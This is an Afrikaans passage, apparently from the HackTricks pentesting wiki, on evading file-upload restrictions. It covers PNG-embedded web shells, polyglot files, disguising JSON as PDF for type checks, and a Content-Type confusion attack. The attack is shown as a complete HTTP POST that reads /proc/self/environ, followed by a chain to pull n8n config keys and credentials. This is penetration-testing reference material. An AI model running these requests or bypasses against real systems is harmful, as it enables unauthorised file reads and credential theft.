’n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: “Encoding Web Shells in PNG IDAT chunks”. Hierdie bron bied ’n omvattende begrip van die proses en die implikasies daarvan.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot-lêers dien as ’n unieke hulpmiddel in kuberveiligheid, en gedra hulle soos kamaleonne wat geldig in veelvuldige lêerformate gelyktydig bestaan. ’n Interessante voorbeeld is ’n GIFAR, ’n hibriede wat beide as ’n GIF en ’n RAR-argief funksioneer. Sulke lêers beperk hulself nie tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook uitvoerbaar.

Die kernnut van polyglot-lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe sifts. Algemene praktyk in verskeie toepassings behels om slegs sekere lêertipes vir upload toe te laat—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel gevaarlike formate (bv., JS, PHP, of Phar-lêers) veroorsaak word, te beperk. ’n Polyglot kan egter, deur aan die strukturele vereistes van veelvuldige lêertipes te voldoen, hierdie beperkings stilweg omseil.

Ten spyte van hul aanpasbaarheid, het polyglots beperkings. Byvoorbeeld, terwyl ’n polyglot terselfdertyd ’n PHAR-lêer (PHp ARchive) en ’n JPEG kan verteenwoordig, kan die sukses van die upload daarvan afhanklik wees van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidinge, mag die blote strukturele dualiteit van ’n polyglot nie voldoende wees om die upload te bewerkstellig nie.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Laai geldige JSONs op asof dit ’n PDF is

Hoe om lêertipe-detekering te vermy deur ’n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur ’n PDF voor te gee (tegnieke uit this blog post):

  • mmmagic biblioteek: Solank die %PDF magic bytes in die eerste 1024 bytes is, is dit geldig (sien voorbeeld in die post)
  • pdflib biblioteek: Voeg ’n vals PDF-formaat binne ’n veld van die JSON by sodat die biblioteek dink dit is ’n pdf (sien voorbeeld in die post)
  • file binary: Dit kan tot 1048576 bytes van ’n lêer lees. Skep bloot ’n JSON groter as dit sodat dit nie die inhoud as ’n json kan parse nie en sit dan binne die JSON die aanvanklike deel van ’n werklike PDF en dit sal dink dit is ’n PDF

Content-Type verwarring na arbitêre lêerlees

Sommige upload handlers vertrou die geparsde request body (bv., context.getBodyData().files) en kopieer later die lêer vanaf file.filepath sonder eers Content-Type: multipart/form-data af te dwing. As die server application/json aanvaar, kan jy ’n vals files object verskaf wat filepath na enige plaaslike pad wys, en sodoende die upload-vloei in ’n arbitêre lêerlees-primitive omskakel.

Example POST against a form workflow returning the uploaded binary in the HTTP response:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

Backend kopieer file.filepath, sodat die antwoord die inhoud van daardie pad teruggee. Algemene ketting: lees /proc/self/environ om $HOME te vind, dan $HOME/.n8n/config vir sleutels en $HOME/.n8n/database.sqlite vir gebruikersidentifikasies.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks